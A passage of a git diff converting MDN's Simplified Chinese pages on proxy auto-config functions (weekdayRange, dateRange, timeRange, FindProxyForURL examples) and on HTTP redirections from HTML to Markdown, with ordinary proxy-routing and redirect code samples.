    "SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT"
    -
    -
    gmt
    -
    可以指定为字符串 "GMT",或留白不指定。
    -
    + gmt -

    Only the first parameter is mandatory. Either the second, the third, or both may be left out.

    + - : 可以指定为字符串 "`GMT`",或留白不指定。 -

    If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone.

    +Only the first parameter is mandatory. Either the second, the third, or both may be left out. -

    If both wd1 and wd1 are defined, the condition is true if the current weekday is in between those two ordered weekdays. Bounds are inclusive, but the bounds are ordered. 如果指定了 "GMT" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。

    +If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone. -
    -

    The order of the days matters; Before Firefox 49, weekdayRange("SUN", "SAT") will always evaluate to true. Now weekdayRange("WED", "SUN") will only evaluate true if the current day is Wednesday or Sunday.

    -
    +If both **wd1** and **wd1** are defined, the condition is true if the current weekday is in between those two _ordered_ weekdays. Bounds are inclusive, _but the bounds are ordered_. 如果指定了 "`GMT`" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。 -

    例子

    +> **警告:** **The order of the days matters**; Before Firefox 49, `weekdayRange("SUN", "SAT")` will always evaluate to true. Now `weekdayRange("WED", "SUN")` will only evaluate true if the current day is Wednesday or Sunday. -
    weekdayRange("MON", "FRI");        // returns true Monday through Friday (local timezone)
    +#### 例子
    +
    +```js
    +weekdayRange("MON", "FRI");        // returns true Monday through Friday (local timezone)
     weekdayRange("MON", "FRI", "GMT"); // returns true Monday through Friday (GMT timezone)
     weekdayRange("SAT");               // returns true on Saturdays local time
     weekdayRange("SAT", "GMT");        // returns true on Saturdays GMT time
    -weekdayRange("FRI", "MON");        // returns true Friday and Monday only (note, order does matter!)
    +weekdayRange("FRI", "MON"); // returns true Friday and Monday only (note, order does matter!) +``` -

    dateRange()

    +### dateRange() -

    语法

    +#### 语法 -
    dateRange(<day> | <month> | <year>, [gmt])  // ambiguity is resolved by assuming year is greater than 31
    -dateRange(<day1>, <day2>, [gmt])
    -dateRange(<month1>, <month2>, [gmt])
    -dateRange(<year1>, <year2>, [gmt])
    -dateRange(<day1>, <month1>, <day2>, <month2>, [gmt])
    -dateRange(<month1>, <year1>, <month2>, <year2>, [gmt])
    -dateRange(<day1>, <month1>, <year1>, <day2>, <month2>, <year2>, [gmt])
    +```plain +dateRange( | | , [gmt]) // ambiguity is resolved by assuming year is greater than 31 +dateRange(, , [gmt]) +dateRange(, , [gmt]) +dateRange(, , [gmt]) +dateRange(, , , , [gmt]) +dateRange(, , , , [gmt]) +dateRange(, , , , , , [gmt]) +``` -
    -

    注意: (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below.

    -
    +> **备注:** (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below. -

    参数

    +#### 参数 -
    -
    day
    -
    Is the ordered day of the month between 1 and 31 (as an integer).
    -
    +- day + - : Is the ordered day of the month between 1 and 31 (as an integer). -
    1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31
    +```plain +1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31 +``` -
    -
    month
    -
    Is one of the ordered month strings below.
    -
    +- month + - : Is one of the ordered month strings below. -
    "JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC"
    +```plain +"JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC" +``` -
    -
    year
    -
    Is the ordered full year integer number. For example, 2016 (not 16).
    -
    gmt
    -
    可以指定为字符串 "GMT",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。
    -
    +- year + - : Is the ordered full year integer number. For example, 2016 (**not** 16). +- gmt + - : 可以指定为字符串 "`GMT`",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。 -

    If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

    +If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, _but the bounds are ordered_. -
    -

    The order of the days, months, and years matter; Before Firefox 49, dateRange("JAN", "DEC") will always evaluate to true. Now dateRange("DEC", "JAN") will only evaluate true if the current month is December or January.

    -
    +> **警告:** **The order of the days, months, and years matter**; Before Firefox 49, `dateRange("JAN", "DEC")` will always evaluate to `true`. Now `dateRange("DEC", "JAN")` will only evaluate true if the current month is December or January. -

    例子

    +#### 例子 -
    dateRange(1);            // returns true on the first day of each month, local timezone
    +```js
    +dateRange(1);            // returns true on the first day of each month, local timezone
     dateRange(1, "GMT")      // returns true on the first day of each month, GMT timezone
     dateRange(1, 15);        // returns true on the first half of each month
     dateRange(24, "DEC");    // returns true on 24th of December each year
    @@ -487,109 +481,109 @@ dateRange(1995);
     // returns true during the entire year of 1995
     
     dateRange(1995, 1997);
    -// returns true from beginning of year 1995 until the end of year 1997
    +// returns true from beginning of year 1995 until the end of year 1997 +``` -

    timeRange()

    +### timeRange() -

    语法

    +#### 语法 -
    // The full range of expansions is analogous to dateRange.
    -timeRange(<hour1>, <min1>, <sec1>, <hour2>, <min2>, <sec2>, [gmt])
    +```plain +// The full range of expansions is analogous to dateRange. +timeRange(, , , , , , [gmt]) +``` -
    -

    注意: (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below.

    -
    +> **备注:** (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below. -

    参数

    +#### 参数 -
    -
    hour
    -
    小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。)
    -
    min
    -
    分钟,区间为 0 到 59。
    -
    sec
    -
    秒,区间为 0 到 59。
    -
    gmt
    -
    可以指定为字符串 "GMT",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。
    -
    +- hour + - : 小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。) +- min + - : 分钟,区间为 0 到 59。 +- sec + - : 秒,区间为 0 到 59。 +- gmt + - : 可以指定为字符串 "`GMT`",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。 -

    If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

    +If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, _but the bounds are ordered_. -
    -

    The order of the hour, minute, second matter; Before Firefox 49, timeRange(0, 23) will always evaluate to true. Now timeRange(23, 0) will only evaluate true if the current hour is 23:00 or midnight.

    -
    +> **警告:** **The order of the hour, minute, second matter**; Before Firefox 49, `timeRange(0, 23)` will always evaluate to true. Now `timeRange(23, 0)` will only evaluate true if the current hour is 23:00 or midnight. -

    例子

    +#### 例子 -
    timerange(12);                // returns true from noon to 1pm
    +```js
    +timerange(12);                // returns true from noon to 1pm
     timerange(12, 13);            // returns true from noon to 1pm
     timerange(12, "GMT");         // returns true from noon to 1pm, in GMT timezone
     timerange(9, 17);             // returns true from 9am to 5pm
     timerange(8, 30, 17, 00);     // returns true from 8:30am to 5:00pm
    -timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight
    +timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight +``` -

    例 1

    +## 例 1 -

    对除本地主机以外的所有连接使用代理

    +### 对除本地主机以外的所有连接使用代理 -
    -

    注意: 以下所有示例都只针对特定需求并未经测试

    -
    +> **备注:** 以下所有示例都只针对特定需求并未经测试 -

    所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过 w3proxy:8080 连接。如果代理不可用,则自动回退到直连。

    +所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过 w3proxy:8080 连接。如果代理不可用,则自动回退到直连。 -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) {
         return "DIRECT";
       } else {
         return "PROXY w3proxy.mozilla.org:8080; DIRECT";
       }
    -}
    +} +``` -
    -

    注意: 这是只有一个代理服务器情况下最简单高效的自动配置脚本。

    -
    +> **备注:** 这是只有一个代理服务器情况下最简单高效的自动配置脚本。 -

    例 2

    +## 例 2 -

    和例 1 一样,但是对防火墙外的本地服务器使用代理

    +### 和例 1 一样,但是对防火墙外的本地服务器使用代理 -

    如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 localHostOrDomainIs() 来为上述主机添加例外:

    +如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 `localHostOrDomainIs()` 来为上述主机添加例外: -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       if (
    -    (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) &&
    -    !localHostOrDomainIs(host, "www.mozilla.org") &&
    +    (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) &&
    +    !localHostOrDomainIs(host, "www.mozilla.org") &&
         !localHostOrDoaminIs(host, "merchant.mozilla.org")
       ) {
             return "DIRECT";
       } else {
         return "PROXY w3proxy.mozilla.org:8080; DIRECT";
       }
    -}
    +} +``` -

    以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 www.mozilla.orgmerchant.mozilla.org 也使用代理。

    +以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 `www.mozilla.org` 和 `merchant.mozilla.org` 也使用代理。 -
    -

    注意:以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和 && 前的括号。

    -
    +> **备注:** 以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和 && 前的括号。 -

    例 3

    +## 例 3 -

    如果无法解析域名,则使用代理

    +### 如果无法解析域名,则使用代理 -

    这个示例可用于网络中的 DNS 服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。

    +这个示例可用于网络中的 DNS 服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。 -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       if (isResolvable(host))
         return "DIRECT";
       else
         return "PROXY proxy.mydomain.com:8080";
    -}
    +} +``` -

    以上代码每一次均会进行 DNS 查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行 DNS 查询来解决:

    +以上代码每一次均会进行 DNS 查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行 DNS 查询来解决: -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       if (
         isPlainHostName(host) ||
         dnsDomainIs(host, ".mydomain.com") ||
    @@ -599,24 +593,28 @@ timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds pa
       } else {
         return "PROXY proxy.mydomain.com:8080";
       }
    -}
    +} +``` -

    例 4

    +## 例 4 -

    基于网域(Subnet)的选择方案

    +### 基于网域(Subnet)的选择方案 -

    在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接:

    +在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接: -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       if (isInNet(host, "198.95.0.0", "255.255.0.0"))
         return "DIRECT";
       else
         return "PROXY proxy.mydomain.com:8080";
    -}
    +} +``` -

    同样的,对 DNS 的使用可以通过添加冗余的规则来最小化:

    +同样的,对 DNS 的使用可以通过添加冗余的规则来最小化: -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       if (
         isPlainHostName(host) ||
         dnsDomainIs(host, ".mydomain.com") ||
    @@ -626,42 +624,26 @@ timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds pa
       } else {
         return "PROXY proxy.mydomain.com:8080";
       }
    -}
    - -

    例 5

    - -

    负载均衡 / 基于 URL 模式(pattern)的路由规划

    - -

    This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:

    - - - - - - - - - - - - - - - - - - - - - - - - -
    代理用途
    #1.com 域名
    #2.edu 域名
    #3所有其他域名
    #4备用(原文:hot stand-by,活跃备用、热备用)
    - -

    All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the + operator in JavaScript.

    - -
    function FindProxyForURL(url, host) {
    +}
    +```
    +
    +## 例 5
    +
    +### 负载均衡 / 基于 URL 模式(pattern)的路由规划
    +
    +This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:
    +
    +| 代理 | 用途                                         |
    +| ---- | -------------------------------------------- |
    +| #1   | .com 域名                                    |
    +| #2   | .edu 域名                                    |
    +| #3   | 所有其他域名                                 |
    +| #4   | 备用(原文:hot stand-by,活跃备用、热备用) |
    +
    +All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the **`+`** operator in JavaScript.
    +
    +```js
    +function FindProxyForURL(url, host) {
     
       if (isPlainHostName(host) || dnsDomainIs(host, ".mydomain.com"))
         return "DIRECT";
    @@ -677,15 +659,17 @@ timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds pa
       else
         return "PROXY proxy3.mydomain.com:8080; " +
                "PROXY proxy4.mydomain.com:8080";
    -}
    +} +``` -

    例 6

    +## 例 6 -

    为特定协议设置代理

    +### 为特定协议设置代理 -

    大多数 JavaScript 标准功能在 FindProxyForURL() 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。

    +大多数 JavaScript 标准功能在 `FindProxyForURL()` 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。 -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
     
       if (url.startsWith("http:"))
         return "PROXY http-proxy.mydomain.com:8080";
    @@ -702,29 +686,26 @@ timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds pa
       else
         return "DIRECT";
     
    -}
    - -
    -

    注意: shExpMatch() 也可以做到,例如:

    - -
    // ...
    -if (shExpMatch(url, "http:*")) {
    -  return "PROXY http-proxy.mydomain.com:8080";
     }
    -// ...
    -
    -
    +``` -
    -

    自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。

    +> **备注:** `shExpMatch()` 也可以做到,例如: +> +> ```js +> // ... +> if (shExpMatch(url, "http:\*")) { +> return "PROXY http-proxy.mydomain.com:8080"; +> } +> // ... +> +> ``` -

    isInNet()isResolvable()dnsResolve() 应该谨慎使用,这些函数会进行 DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。

    -
    +> **备注:** 自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。`isInNet()`, `isResolvable()` 和 `dnsResolve()` 应该谨慎使用,这些函数会进行 DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。 -

    历史与实现

    +## 历史与实现 -

    Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself.

    +Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself. -

    The most "original" implementation of PAC and its JavaScript libraries is, therefore, nsProxyAutoConfig.js found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into ProxyAutoConfig.cpp as a string literal.

    +The most "original" implementation of PAC and its JavaScript libraries is, therefore, `nsProxyAutoConfig.js` found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into [`ProxyAutoConfig.cpp`](https://dxr.mozilla.org/mozilla-central/source/netwerk/base/ProxyAutoConfig.cpp) as a string literal. -

    Microsoft in general made its own implementation. There used to be some problems with their libraries, but most are resolved by now. They have defined some new "Ex" suffixed functions around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox (bugzilla #558253).

    +Microsoft in general made its own implementation. There used to be [some problems with their libraries](https://en.wikipedia.org/wiki/Proxy_auto-config#Old_Microsoft_problems), but most are resolved by now. They have defined [some new "Ex" suffixed functions](https://docs.microsoft.com/en-us/windows/win32/winhttp/ipv6-extensions-to-navigator-auto-config-file-format) around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox ([bugzilla #558253](https://bugzilla.mozilla.org/show_bug.cgi?id=558253)). diff --git a/files/zh-cn/web/http/redirections/index.md b/files/zh-cn/web/http/redirections/index.md index a1c632ce861f09..d48605ad691fff 100644 --- a/files/zh-cn/web/http/redirections/index.md +++ b/files/zh-cn/web/http/redirections/index.md @@ -6,288 +6,222 @@ tags: - 重定向 translation_of: Web/HTTP/Redirections --- -
    {{HTTPSidebar}}
    - -

    URL 重定向,也称为 URL 转发,是一种当实际资源,如单个页面、表单或者整个 Web 应用被迁移到新的 URL 下的时候,保持(原有)链接可用的技术。HTTP 协议提供了一种特殊形式的响应—— HTTP 重定向(HTTP redirects)来执行此类操作。

    - -

    重定向可实现许多目标:

    - -
      -
    • 站点维护或停机期间的临时重定向。
    • -
    • 永久重定向将在更改站点的 URL,上传文件时的进度页等之后保留现有的链接/书签。
    • -
    • 上传文件时的表示进度的页面。
    • -
    - -

    原理

    - -

    在 HTTP 协议中,重定向操作由服务器通过发送特殊的响应(即 redirects)而触发。HTTP 协议的重定向响应的状态码为 3xx 。

    - -

    浏览器在接收到重定向响应的时候,会采用该响应提供的新的 URL ,并立即进行加载;大多数情况下,除了会有一小部分性能损失之外,重定向操作对于用户来说是不可见的。
    -

    - -

    - -

    不同类型的重定向映射可以划分为三个类别:

    - -
      -
    1. 永久重定向
    2. -
    3. 临时重定向
    4. -
    5. 特殊重定向
    6. -
    - -

    永久重定向

    - -

    这种重定向操作是永久性的。它表示原 URL 不应再被使用,而应该优先选用新的 URL。搜索引擎机器人会在遇到该状态码时触发更新操作,在其索引库中修改与该资源相关的 URL 。

    - - - - - - - - - - - - - - - - - - - - - - - - -
    编码含义处理方法典型应用场景
    301Moved Permanently{{HTTPMethod("GET")}} 方法不会发生变更,其他方法有可能会变更为 {{HTTPMethod("GET")}} 方法。[1]网站重构。
    308Permanent Redirect方法和消息主体都不发生变化。 -

    网站重构,用于非 GET 方法。(with non-GET links/operations)

    -
    - -

    [1] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 308 状态码被创建用来消除在使用非 GET 方法时的歧义行为。

    - -

    临时重定向

    - -

    有时候请求的资源无法从其标准地址访问,但是却可以从另外的地方访问。在这种情况下可以使用临时重定向。

    - -

    搜索引擎不会记录该新的、临时的链接。在创建、更新或者删除资源的时候,临时重定向也可以用于显示临时性的进度页面。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    编码含义处理方法典型应用场景
    302Found{{HTTPMethod("GET")}} 方法不会发生变更,其他方法有可能会变更为 {{HTTPMethod("GET")}} 方法。[2]由于不可预见的原因该页面暂不可用。在这种情况下,搜索引擎不会更新它们的链接。
    303See Other{{HTTPMethod("GET")}} 方法不会发生变更,其他方法会变更为 GET 方法(消息主体会丢失)。用于{{HTTPMethod("PUT")}} 或 {{HTTPMethod("POST")}} 请求完成之后进行页面跳转来防止由于页面刷新导致的操作的重复触发。
    307Temporary Redirect方法和消息主体都不发生变化。由于不可预见的原因该页面暂不可用。在这种情况下,搜索引擎不会更新它们的链接。当站点支持非 GET 方法的链接或操作的时候,该状态码优于 302 状态码。
    - -

    [2] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 307 状态码被创建用来消除在使用非 GET 方法时的歧义行为。

    - -

    特殊重定向

    - -

    除了上述两种常见的重定向之外,还有两种特殊的重定向。{{HTTPStatus("304")}}(Not Modified,资源未被修改)会使页面跳转到本地陈旧的缓存版本当中(该缓存已过期 (?)),而 {{HTTPStatus("300")}}(Multiple Choice,多项选择) 则是一种手工重定向:以 Web 页面形式呈现在浏览器中的消息主体包含了一个可能的重定向链接的列表,用户可以从中进行选择。

    - - - - - - - - - - - - - - - - - - - - - -
    编码含义典型应用场景
    300Multiple Choice不常用:所有的选项在消息主体的 HTML 页面中列出。鼓励在 {{HTTPHeader("Link")}} 头部加入机器可读的 rel=alternate
    304Not Modified发送用于重新验证的条件请求。表示缓存的响应仍然是新鲜的并且可以使用。
    +{{HTTPSidebar}} -

    设定重定向映射的其他方法

    +URL 重定向,也称为 URL 转发,是一种当实际资源,如单个页面、表单或者整个 Web 应用被迁移到新的 URL 下的时候,保持(原有)链接可用的技术。HTTP 协议提供了一种特殊形式的响应—— HTTP 重定向(HTTP redirects)来执行此类操作。 -

    HTTP 协议中重定向机制并非唯一的重定向映射的方式。其他两种方法包括:

    +重定向可实现许多目标: -
      -
    1. 借助 HTML 的 meta 元素的 HTML 重定向机制
    2. -
    3. 借助 DOM 的 JavaScript 重定向机制。
    4. -
    +- 站点维护或停机期间的临时重定向。 +- 永久重定向将在更改站点的 URL,上传文件时的进度页等之后保留现有的链接/书签。 +- 上传文件时的表示进度的页面。 -

    HTML 重定向机制

    +## 原理 -

    HTTP 协议中重定向机制是应该优先采用的创建重定向映射的方式,但是有时候 Web 开发者对于服务器没有控制权,或者无法对其进行配置。针对这些特定的应用情景,Web 开发者可以在精心制作的 HTML 页面的 {{HTMLElement("head")}} 部分添加一个 {{HTMLElement("meta")}} 元素,并将其 {{htmlattrxref("http-equiv", "meta")}} 属性的值设置为 refresh 。当显示页面的时候,浏览器会检测该元素,然后跳转到指定的页面。

    +在 HTTP 协议中,重定向操作由服务器通过发送特殊的响应(即 redirects)而触发。HTTP 协议的重定向响应的状态码为 3xx 。 -
    <head>
    -  <meta http-equiv="Refresh" content="0; URL=http://example.com/" />
    -</head>
    -
    +浏览器在接收到重定向响应的时候,会采用该响应提供的新的 URL ,并立即进行加载;大多数情况下,除了会有一小部分性能损失之外,重定向操作对于用户来说是不可见的。 -

    {{htmlattrxref("content")}} 属性的值开头是一个数字,指示浏览器在等待该数字表示的秒数之后再进行跳转。建议始终将其设置为 0 来获取更好的可访问性。

    +![](httpredirect.png) -

    显然,该方法仅适用于 HTML 页面(或类似的页面),然而并不能应用于图片或者其他类型的内容。

    +不同类型的重定向映射可以划分为三个类别: -
    -

    注意这种机制会使浏览器的回退按钮失效:可以返回含有这个头部的页面,但是又会立即跳转。

    -
    +1. [永久重定向](/zh-CN/docs/Web/HTTP/Redirections$edit#Permanent_redirections) +2. [临时重定向](/zh-CN/docs/Web/HTTP/Redirections$edit#Temporary_redirections) +3. [特殊重定向](/zh-CN/docs/Web/HTTP/Redirections$edit#Special_redirections) -

    JavaScript 重定向机制

    +### 永久重定向 -

    在 JavaScript 中,重定向机制的原理是设置 {{domxref("window.location")}} 的属性值,然后加载新的页面。

    +这种重定向操作是永久性的。它表示原 URL 不应再被使用,而应该优先选用新的 URL。搜索引擎机器人会在遇到该状态码时触发更新操作,在其索引库中修改与该资源相关的 URL 。 -
    window.location = "http://example.com/";
    +| 编码 | 含义 | 处理方法 | 典型应用场景 | +| ----- | ------------------ | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------- | +| `301` | Moved Permanently | {{HTTPMethod("GET")}} 方法不会发生变更,其他方法有可能会变更为 {{HTTPMethod("GET")}} 方法。[\[1\]](#attr1) | 网站重构。 | +| `308` | Permanent Redirect | 方法和消息主体都不发生变化。 | 网站重构,用于非 GET 方法。(with non-GET links/operations) | -

    与 HTML 重定向机制类似,这种方式并不适用于所有类型的资源,并且显然只有在支持 JavaScript 的客户端上才能使用。另外一方面,它也提供了更多的可能性,比如在只有满足了特定的条件的情况下才可以触发重定向机制的场景。

    +\[1] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 308 状态码被创建用来消除在使用非 GET 方法时的歧义行为。 -

    优先级

    +### 临时重定向 -

    由于存在上述三种 URL 重定向机制,那么在多种方法同时设定的情况下,哪种方法会首先起作用呢?优先级顺序如下:

    +有时候请求的资源无法从其标准地址访问,但是却可以从另外的地方访问。在这种情况下可以使用临时重定向。 -
      -
    1. HTTP 协议的重定向机制永远最先触发,即便是在没有传送任何页面——也就没有页面被(客户端)读取——的情况下。
    2. -
    3. HTML 的重定向机制 ({{HTMLElement("meta")}}) 会在 HTTP 协议重定向机制未设置的情况下触发。
    4. -
    5. JavaScript 的重定向机制总是作为最后诉诸的手段,并且只有在客户端开启了 JavaScript 的情况下才起作用。
    6. -
    +搜索引擎不会记录该新的、临时的链接。在创建、更新或者删除资源的时候,临时重定向也可以用于显示临时性的进度页面。 -

    任何情况下,只要有可能,就应该采用 HTTP 协议的重定向机制,而不要使用 {{HTMLElement("meta")}} 标签。假如开发人员修改了 HTTP 重定向映射而忘记修改 HTML 页面的重定向映射,那么二者就会不一致,最终结果或者出现无限循环,或者导致其他噩梦的发生。

    +| 编码 | 含义 | 处理方法 | 典型应用场景 | +| ----- | -------------------- | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- | +| `302` | `Found` | {{HTTPMethod("GET")}} 方法不会发生变更,其他方法有可能会变更为 {{HTTPMethod("GET")}} 方法。[\[2\]](#attr2) | 由于不可预见的原因该页面暂不可用。在这种情况下,搜索引擎不会更新它们的链接。 | +| `303` | `See Other` | {{HTTPMethod("GET")}} 方法不会发生变更,其他方法会**变更**为 GET 方法(消息主体会丢失)。 | 用于{{HTTPMethod("PUT")}} 或 {{HTTPMethod("POST")}} 请求完成之后进行页面跳转来防止由于页面刷新导致的操作的重复触发。 | +| `307` | `Temporary Redirect` | 方法和消息主体都不发生变化。 | 由于不可预见的原因该页面暂不可用。在这种情况下,搜索引擎不会更新它们的链接。当站点支持非 GET 方法的链接或操作的时候,该状态码优于 302 状态码。 | -

    应用场景

    +\[2] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 307 状态码被创建用来消除在使用非 GET 方法时的歧义行为。 -

    有以下几种应用场景可以使用重定向机制,但是需要注意应该尽可能地限制其使用数量,因为每一次重定向都会带来性能上的开销。

    +### 特殊重定向 -

    域名别称

    +除了上述两种常见的重定向之外,还有两种特殊的重定向。{{HTTPStatus("304")}}(Not Modified,资源未被修改)会使页面跳转到本地陈旧的缓存版本当中(该缓存已过期 (?)),而 {{HTTPStatus("300")}}(Multiple Choice,多项选择) 则是一种手工重定向:以 Web 页面形式呈现在浏览器中的消息主体包含了一个可能的重定向链接的列表,用户可以从中进行选择。 -

    理想情况下,一项资源只有一个访问位置,也就是只有一个 URL 。但是由于种种原因,需要为资源设定不同的名称(即不同的域名,例如带有和不带有 www 前缀的 URL,以及简短易记的 URL 等)。在这种情况下,实用的方法是将其重定向到那个实际的(标准的)URL,而不是复制资源。

    +| 编码 | 含义 | 典型应用场景 | +| ----- | ----------------- | ---------------------------------------------------------------------------------------------------------------------- | +| `300` | `Multiple Choice` | 不常用:所有的选项在消息主体的 HTML 页面中列出。鼓励在 {{HTTPHeader("Link")}} 头部加入机器可读的 `rel=alternate` | +| `304` | `Not Modified` | 发送用于重新验证的条件请求。表示缓存的响应仍然是新鲜的并且可以使用。 | -

    在以下几种情况下可以使用域名别称:

    +## 设定重定向映射的其他方法 -
    -
    扩大站点的用户覆盖面。
    -
    一个常见的场景是,假如站点位于 www.example.com 域名下,那么通过 example.com 也应该可以访问到。这种情况下,可以建立从 example.com 的页面到 www.example.com 的重定向映射。此外还可以提供常见的同义词,或者该域名容易导致的拼写错误的域名别称。
    -
    迁移到另外一个域名。
    -
    例如,公司改名后,你希望用户在搜索旧名称的时候,依然可以访问到应用了新名称的站点。
    -
    强制使用 HTTPS 协议。
    -
    对于 HTTP 版本站点的请求会被重定向至采用了 HTTPS 协议的版本。
    -
    +HTTP 协议中重定向机制并非唯一的重定向映射的方式。其他两种方法包括: -

    保持链接有效

    +1. 借助 HTML 的 meta 元素的 HTML 重定向机制 +2. 借助 [DOM](/zh-CN/docs/Web/API/Document_Object_Model) 的 JavaScript 重定向机制。 -

    当你重构 Web 站点的时候,资源的 URL 会发生改变。即便是你可以更新站点内部的链接来适应新的命名体系,但无法控制被外部资源使用的 URL 。

    +### HTML 重定向机制 -

